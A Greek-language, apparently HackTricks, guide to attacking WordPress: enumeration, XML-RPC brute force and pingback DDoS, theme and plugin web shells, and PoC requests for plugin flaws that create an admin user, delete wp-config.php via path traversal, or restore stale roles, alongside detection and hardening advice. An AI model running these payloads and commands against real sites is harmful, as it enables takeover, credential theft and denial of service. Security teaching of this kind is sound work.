Wordpress

Reading time: 26 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

  • Uploaded αρχεία πηγαίνουν στο: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Τα αρχεία θεμάτων βρίσκονται στο /wp-content/themes/, οπότε αν αλλάξετε κάποια php του θέματος για να αποκτήσετε RCE πιθανότατα θα χρησιμοποιήσετε αυτό το path. Για παράδειγμα: Χρησιμοποιώντας theme twentytwelve μπορείτε να έχετε πρόσβαση στο αρχείο 404.php στο: /wp-content/themes/twentytwelve/404.php

  • Άλλη χρήσιμη διεύθυνση URL μπορεί να είναι: /wp-content/themes/default/404.php

  • Στο wp-config.php μπορείτε να βρείτε τον root κωδικό της βάσης δεδομένων.

  • Προεπιλεγμένα μονοπάτια σύνδεσης προς έλεγχο: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Κύρια αρχεία WordPress

  • index.php
  • license.txt περιέχει χρήσιμες πληροφορίες όπως την έκδοση του WordPress που είναι εγκατεστημένη.
  • wp-activate.php χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη ρύθμιση ενός νέου site WordPress.
  • Φάκελοι σύνδεσης (μπορεί να έχουν μετονομαστεί για να κρυφτεί):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με το HTTP ως μηχανισμό μεταφοράς και το XML ως μηχανισμό κωδικοποίησης. Αυτού του είδους η επικοινωνία έχει αντικατασταθεί από το WordPress REST API.
  • Ο φάκελος wp-content είναι ο κύριος κατάλογος όπου αποθηκεύονται plugins και themes.
  • wp-content/uploads/ είναι ο κατάλογος όπου αποθηκεύονται τα αρχεία που έχουν ανεβεί στην πλατφόρμα.
  • wp-includes/ είναι ο κατάλογος όπου βρίσκονται τα core αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.
  • wp-sitemap.xml Σε εκδόσεις Wordpress 5.5 και νεότερες, το Worpress δημιουργεί ένα sitemap XML αρχείο με όλα τα δημόσια posts και τα δημόσια queryable post types και taxonomies.

Post exploitation

  • Το αρχείο wp-config.php περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων όπως το όνομα της βάσης, ο host της βάσης, username και password, authentication keys and salts, και το prefix των πινάκων της βάσης. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιηθεί το DEBUG mode, το οποίο μπορεί να είναι χρήσιμο για την αντιμετώπιση προβλημάτων.

Δικαιώματα Χρηστών

  • Administrator
  • Editor: Δημοσιεύει και διαχειρίζεται τις δικές του και των άλλων αναρτήσεις
  • Author: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις
  • Contributor: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει
  • Subscriber: Περιηγείται αναρτήσεις και επεξεργάζεται το προφίλ του

Passive Enumeration

Λήψη έκδοσης WordPress

Ελέγξτε αν μπορείτε να βρείτε τα αρχεία /license.txt ή /readme.html

Μέσα στον πηγαίο κώδικα της σελίδας (παράδειγμα από https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS αρχεία σύνδεσης

  • αρχεία JavaScript

Λήψη Plugins

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Λήψη θεμάτων

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Εξαγωγή εκδόσεων γενικά

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Ενεργή αναγνώριση

Plugins and Themes

Πιθανότατα δεν θα καταφέρετε να βρείτε όλα τα Plugins and Themes. Για να τα εντοπίσετε όλα, θα χρειαστεί να actively Brute Force a list of Plugins and Themes (ελπίζουμε ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).

Χρήστες

  • ID Brute: Αποκτάτε έγκυρους χρήστες από ένα WordPress site μέσω Brute Forcing των IDs χρηστών:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Αν οι απαντήσεις είναι 200 ή 30X, αυτό σημαίνει ότι το id είναι έγκυρο. Αν η απάντηση είναι 400, τότε το id είναι άκυρο.

  • wp-json: Μπορείτε επίσης να προσπαθήσετε να λάβετε πληροφορίες για τους χρήστες εκτελώντας ένα query:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Ένα άλλο endpoint /wp-json/ που μπορεί να αποκαλύψει κάποιες πληροφορίες για χρήστες είναι:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει μια δημοσίευση. Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν ενεργοποιημένη αυτή τη δυνατότητα.

Επίσης σημειώστε ότι /wp-json/wp/v2/pages μπορεί να αποκαλύψει διευθύνσεις IP.

  • Login username enumeration: Όταν προσπαθείτε να συνδεθείτε στο /wp-login.php, το μήνυμα είναι διαφορετικό και υποδεικνύει αν το username υπάρχει ή όχι.

XML-RPC

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία using this for example).

Για να δείτε αν είναι ενεργό δοκιμάστε να αποκτήσετε πρόσβαση στο /xmlrpc.php και στείλτε αυτό το αίτημα:

Έλεγχος

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Διαπιστευτήρια Bruteforce

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force διαπιστευτηρίων. Εάν βρείτε κάποια από αυτές, μπορείτε να στείλετε κάτι σαν:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Το μήνυμα "Incorrect username or password" μέσα σε απόκριση με κωδικό 200 θα πρέπει να εμφανίζεται εάν τα διαπιστευτήρια δεν είναι έγκυρα.

Χρησιμοποιώντας τα σωστά διαπιστευτήρια μπορείτε να ανεβάσετε ένα αρχείο. Στην απόκριση θα εμφανιστεί η διαδρομή (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

Bypass 2FA

Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, επομένως δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρα creds αλλά η κύρια είσοδος προστατεύεται με 2FA, you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά μπορεί παρόλα αυτά να φτάσετε σε RCE όπως εξηγεί ο Ippsec στο https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress lo scan some internal network (you can indicate any port).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Εάν λάβετε faultCode με τιμή μεγαλύτερη από 0 (17), αυτό σημαίνει ότι η θύρα είναι ανοιχτή.

Ρίξτε μια ματιά στη χρήση του system.multicall στην προηγούμενη ενότητα για να μάθετε πώς να καταχραστείτε αυτή τη μέθοδο για να προκαλέσετε DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Αυτό το αρχείο συνήθως υπάρχει στο root του Wordpress site: /wp-cron.php
Όταν αυτό το αρχείο προσεγγίζεται εκτελείται ένα "heavy" MySQL query, οπότε μπορεί να χρησιμοποιηθεί από attackers για να προκαλέσει ένα DoS.
Επίσης, εξ ορισμού, το wp-cron.php καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας client ζητάει οποιαδήποτε Wordpress σελίδα), κάτι που σε high-traffic sites μπορεί να προκαλέσει προβλήματα (DoS).

Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε ένα πραγματικό cronjob στον host που να εκτελεί τις απαραίτητες ενέργειες σε τακτά διαστήματα (χωρίς να προκαλεί προβλήματα).

/wp-json/oembed/1.0/proxy - SSRF

Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Αυτό το εργαλείο ελέγχει για τη methodName: pingback.ping και για το path /wp-json/oembed/1.0/proxy, και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.

Αυτόματα Εργαλεία

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Απόκτηση πρόσβασης με την υπεργραφή ενός bit

Περισσότερο από μια πραγματική επίθεση, πρόκειται για μια περιέργεια. Σε ένα CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man μπορούσες να αναστρέψεις 1 bit σε οποιοδήποτε αρχείο wordpress. Έτσι μπορούσες να αναστρέψεις τη θέση 5389 του αρχείου /var/www/html/wp-includes/user.php ώστε να κάνεις NOP στην λειτουργία NOT (!).

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Τροποποίηση ενός php από το theme που χρησιμοποιείται (admin credentials needed)

Appearance → Theme Editor → 404 Template (στα δεξιά)

Αλλάξτε το περιεχόμενο σε php shell:

Αναζητήστε στο Internet πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή την ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να επισκεφθείτε: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Μπορείτε να χρησιμοποιήσετε:

bash
use exploit/unix/webapp/wp_admin_shell_upload

για να αποκτήσετε session.

Plugin RCE

PHP plugin

Ενδέχεται να είναι δυνατή η μεταφόρτωση .php αρχείων ως plugin.
Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα:

Then add a new plugin:

Upload plugin and press Install Now:

Click on Procced:

Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:

Access it and you will see the URL to execute the reverse shell:

Μεταφόρτωση και ενεργοποίηση κακόβουλου plugin

Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός κακόβουλου plugin που είναι γνωστό ότι έχει ευπάθειες και μπορεί να εκμεταλλευτεί για να αποκτήσει web shell. Η διαδικασία πραγματοποιείται μέσω του WordPress dashboard ως εξής:

  1. Plugin Acquisition: Το plugin αποκτάται από πηγή όπως Exploit DB όπως here.
  2. Plugin Installation:
  • Περιηγηθείτε στο WordPress dashboard, στη συνέχεια πηγαίνετε στο Dashboard > Plugins > Upload Plugin.
  • Ανεβάστε το zip αρχείο του κατεβασμένου plugin.
  1. Plugin Activation: Μόλις το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard.
  2. Exploitation:
  • Με το plugin "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι είναι ευπαθές.
  • Το Metasploit framework παρέχει ένα exploit για αυτή την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια meterpreter session, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο.
  • Σημειώνεται ότι αυτός είναι μόνο ένας από τους πολλούς τρόπους εκμετάλλευσης ενός ιστότοπου WordPress.

Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως penetration testing με ρητή άδεια.

Για περισσότερα βήματα δείτε: https://www.hackingarticles.in/wordpress-reverse-shell/

Από XSS σε RCE

  • WPXStrike: WPXStrike είναι ένα script σχεδιασμένο να κλιμακώνει μια Cross-Site Scripting (XSS) ευπάθεια σε Remote Code Execution (RCE) ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες δείτε this post. Παρέχει υποστήριξη για τις εκδόσεις Wordpress 6.X.X, 5.X.X και 4.X.X και επιτρέπει:
  • Privilege Escalation: Δημιουργεί έναν χρήστη στο WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Ανεβάστε το custom plugin (backdoor) σας στο WordPress.
  • (RCE) Built-In Plugin Edit: Επεξεργασία Built-In Plugins στο WordPress.
  • (RCE) Built-In Theme Edit: Επεξεργασία Built-In Themes στο WordPress.
  • (Custom) Custom Exploits: Custom Exploits για Third-Party WordPress Plugins/Themes.

Post Exploitation

Εξαγωγή usernames και passwords:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Αλλαγή admin password:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Το να γνωρίζεις πώς ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμο για να εντοπίσεις ευπάθειες στη λειτουργία του. Μπορείς να δεις πώς ένα plugin ενδέχεται να εκθέτει λειτουργικότητα στα παρακάτω σημεία και κάποια παραδείγματα ευπαθών plugins στο this blog post.

  • wp_ajax

Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει λειτουργίες στους χρήστες είναι μέσω AJAX handlers. Αυτοί μπορεί να περιέχουν σφάλματα λογικής, authorization ή authentication. Επιπλέον, είναι συχνό ότι αυτές οι λειτουργίες βασίζουν τόσο το authentication όσο και το authorization στην ύπαρξη ενός wordpress nonce που οποιοσδήποτε authenticated χρήστης στην Wordpress instance μπορεί να έχει (ανεξαρτήτως του role).

Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Η χρήση του nopriv καθιστά το endpoint προσβάσιμο από οποιουσδήποτε χρήστες (ακόμη και μη αυθεντικοποιημένους).

caution

Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση wp_verify_nonce, αυτή η συνάρτηση μόνο ελέγχει αν ο χρήστης είναι συνδεδεμένος, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι χρήστες με χαμηλά προνόμια ενδέχεται να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια.

  • REST API

Είναι επίσης δυνατό να εκτεθούν συναρτήσεις από το wordpress καταχωρώντας ένα REST API χρησιμοποιώντας τη συνάρτηση register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

Το permission_callback είναι μια συνάρτηση callback που ελέγχει αν ένας δοθείς χρήστης έχει εξουσιοδότηση να καλέσει τη μέθοδο του API.

Εάν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση __return_true, θα παρακάμψει απλά τον έλεγχο δικαιωμάτων χρήστη.

  • Άμεση πρόσβαση στο αρχείο PHP

Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, αν ένα plugin εκθέτει ευάλωτη λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα μπορεί να εκμεταλλευτεί από οποιονδήποτε χρήστη.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Κάποια plugins υλοποιούν συντομεύσεις “trusted header” για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτό το header για να ορίσουν το τρέχον user context για REST requests. Αν το header δεν είναι κρυπτογραφικά δεμένο με το request από ένα upstream component, ένας attacker μπορεί να το spoofάρει και να προσπελάσει privileged REST routes ως administrator.

  • Επίπτωση: μη αυθεντικοποιημένη privilege escalation σε admin δημιουργώντας νέο administrator μέσω του core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (επιβάλλει το user ID 1, συνήθως ο πρώτος λογαριασμός administrator).
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Γιατί λειτουργεί

  • Το plugin αντιστοιχίζει μια κεφαλίδα που ελέγχεται από τον client στην κατάσταση ταυτοποίησης και παρακάμπτει τους ελέγχους δικαιωμάτων.
  • Ο πυρήνας του WordPress αναμένει τη δυνατότητα create_users για αυτή τη διαδρομή· το hack του plugin την παρακάμπτει ρυθμίζοντας απευθείας το context του τρέχοντος χρήστη από την κεφαλίδα.

Προσδοκώμενοι δείκτες επιτυχίας

  • HTTP 201 με JSON σώμα που περιγράφει τον δημιουργημένο χρήστη.
  • Ένας νέος χρήστης διαχειριστής ορατός στο wp-admin/users.php.

Λίστα ελέγχου ανίχνευσης

  • Ψάξτε (grep) για getallheaders(), $_SERVER['HTTP_...'], ή vendor SDKs που διαβάζουν προσαρμοσμένες κεφαλίδες για να ορίσουν το context του χρήστη (π.χ. wp_set_current_user(), wp_set_auth_cookie()).
  • Επανεξετάστε τις εγγραφές REST για privileged callbacks που δεν έχουν αξιόπιστους ελέγχους permission_callback και αντίθετα βασίζονται σε request headers.
  • Αναζητήστε χρήσεις των core user-management functions (wp_insert_user, wp_create_user) μέσα σε REST handlers που προστατεύονται μόνο από τιμές κεφαλίδων.

Σκληρυνση

  • Μην βασίζετε ποτέ την ταυτοποίηση ή την εξουσιοδότηση σε κεφαλίδες που ελέγχονται από τον client.
  • Εάν ένας reverse proxy πρέπει να εισάγει ταυτότητα, τερματίστε την εμπιστοσύνη στο proxy και αφαιρέστε εισερχόμενα αντίγραφα (π.χ. unset X-Wcpay-Platform-Checkout-User στο edge), στη συνέχεια περάστε ένα υπογεγραμμένο token και επαληθεύστε το server-side.
  • Για REST routes που εκτελούν privileged actions, απαιτήστε ελέγχους current_user_can() και ένα αυστηρό permission_callback (μη χρησιμοποιείτε __return_true).
  • Προτιμήστε first-party auth (cookies, application passwords, OAuth) αντί για header “impersonation”.

Αναφορές: δείτε τους συνδέσμους στο τέλος αυτής της σελίδας για ένα δημόσιο περιστατικό και ευρύτερη ανάλυση.

Μη-επαληθευμένη αυθαίρετη διαγραφή αρχείων μέσω wp_ajax_nopriv (Litho Theme <= 3.0)

Τα themes και plugins του WordPress συχνά εκθέτουν AJAX handlers μέσω των hooks wp_ajax_ και wp_ajax_nopriv_. Όταν χρησιμοποιείται η παραλλαγή nopriv η callback γίνεται προσβάσιμη από μη-επαληθευμένους επισκέπτες, οπότε οποιαδήποτε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:

  1. Έναν έλεγχο δικαιωμάτων (π.χ. current_user_can() ή τουλάχιστον is_user_logged_in()), και
  2. Ένα CSRF nonce επικυρωμένο με check_ajax_referer() / wp_verify_nonce(), και
  3. Αυστηρή εξυγίανση / επαλήθευση εισόδου.

Το multipurpose theme Litho (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη λειτουργία Remove Font Family και κατέληξε να συμπεριλαμβάνει τον ακόλουθο κώδικα (απλουστευμένος):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Προβλήματα που εισάγει αυτό το απόσπασμα:

  • Μη αυθεντικοποιημένη πρόσβαση – το hook wp_ajax_nopriv_ έχει καταχωρηθεί.
  • Δεν υπάρχει έλεγχος nonce / capability – οποιοσδήποτε επισκέπτης μπορεί να προσπελάσει το endpoint.
  • Δεν υπάρχει καθαρισμός μονοπατιού – η συμβολοσειρά που ελέγχεται από τον χρήστη fontfamily συνενώνεται σε ένα filesystem path χωρίς φιλτράρισμα, επιτρέποντας το κλασικό traversal ../../.

Εκμετάλλευση

Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο κάτω από τον βασικό κατάλογο uploads (συνήθως <wp-root>/wp-content/uploads/) στέλνοντας ένα μόνο HTTP POST request:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

Detection checklist

  • Any add_action( 'wp_ajax_nopriv_...') callback that calls filesystem helpers (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • Concatenation of unsanitised user input into paths (look for $_POST, $_GET, $_REQUEST).
  • Absence of check_ajax_referer() and current_user_can()/is_user_logged_in().

Hardening

php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

tip

Always θεωρείτε οποιαδήποτε ενέργεια εγγραφής/διαγραφής στο δίσκο ως privileged και ελέγξτε προσεκτικά: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath() plus str_starts_with()).


Privilege escalation μέσω αποκατάστασης παρωχημένων ρόλων και missing authorization (ASE "View Admin as Role")

Πολλά plugins υλοποιούν μια λειτουργία "view as role" ή προσωρινής εναλλαγής ρόλου αποθηκεύοντας τους αρχικούς ρόλους στο user meta ώστε να μπορούν να επαναφερθούν αργότερα. Αν η διαδρομή επαναφοράς βασίζεται μόνο σε παραμέτρους αιτήματος (π.χ. $_REQUEST['reset-for']) και σε μια λίστα που διατηρεί το plugin χωρίς έλεγχο capabilities και χωρίς έγκυρο nonce, αυτό γίνεται vertical privilege escalation.

Ένα πραγματικό παράδειγμα βρέθηκε στο Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Το reset branch επανέφερε ρόλους βάσει reset-for=<username> εάν το username εμφανιζόταν σε έναν εσωτερικό πίνακα $options['viewing_admin_as_role_are'], αλλά δεν εκτέλεσε ούτε έλεγχο current_user_can() ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επαναπροσθέσει τους αποθηκευμένους ρόλους από το user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Γιατί είναι εκμεταλλεύσιμο

  • Εμπιστεύεται το $_REQUEST['reset-for'] και μια επιλογή του plugin χωρίς εξουσιοδότηση από την πλευρά του διακομιστή.
  • Αν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο _asenha_view_admin_as_original_roles και υποβαθμίστηκε, μπορεί να τα επαναφέρει πατώντας στη διαδρομή επαναφοράς.
  • Σε ορισμένες αναπτύξεις, οποιοσδήποτε πιστοποιημένος χρήστης θα μπορούσε να ενεργοποιήσει μια επαναφορά για άλλο όνομα χρήστη που εξακολουθεί να υπάρχει στο viewing_admin_as_role_are (σφάλμα εξουσιοδότησης).

Attack prerequisites

  • Ευάλωτη έκδοση του plugin με τη λειτουργία ενεργοποιημένη.
  • Ο λογαριασμός-στόχος έχει ένα παλιό ρόλο με υψηλά προνόμια αποθηκευμένο στα user meta από προηγούμενη χρήση.
  • Οποιαδήποτε πιστοποιημένη συνεδρία; απουσία nonce/capability στη ροή επαναφοράς.

Exploitation (example)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Σε ευάλωτες εκδόσεις αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους “original roles” (π.χ., administrator), αυξάνοντας ουσιαστικά τα προνόμια.

Detection checklist

  • Ψάξτε για role-switching features που διατηρούν τους “original roles” στο user meta (π.χ., _asenha_view_admin_as_original_roles).
  • Εντοπίστε διαδρομές επανεκκίνησης/restore που:
  • Διαβάζουν ονόματα χρηστών από $_REQUEST / $_GET / $_POST.
  • Τροποποιούν ρόλους μέσω add_role() / remove_role() χωρίς current_user_can() και wp_verify_nonce() / check_admin_referer().
  • Εξουσιοδοτούν βάσει ενός plugin option array (π.χ., viewing_admin_as_role_are) αντί για τις δυνατότητες του ενεργούντος χρήστη.

Hardening

  • Επιβάλετε ελέγχους δυνατοτήτων σε κάθε κλάδο που αλλάζει κατάσταση (π.χ., current_user_can('manage_options') ή αυστηρότερο).
  • Απαιτήστε nonces για όλες τις μεταβολές ρόλων/δικαιωμάτων και επαληθεύστε τα: check_admin_referer() / wp_verify_nonce().
  • Μην εμπιστεύεστε ποτέ ονόματα χρηστών που προέρχονται από το request· επιλύστε τον στοχευόμενο χρήστη server-side βάσει του επαληθευμένου χρήστη και ρητής πολιτικής.
  • Ακυρώστε την κατάσταση “original roles” κατά τις ενημερώσεις προφίλ/ρόλων για να αποφύγετε την επαναφορά παλαιών υψηλών προνομίων:
php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
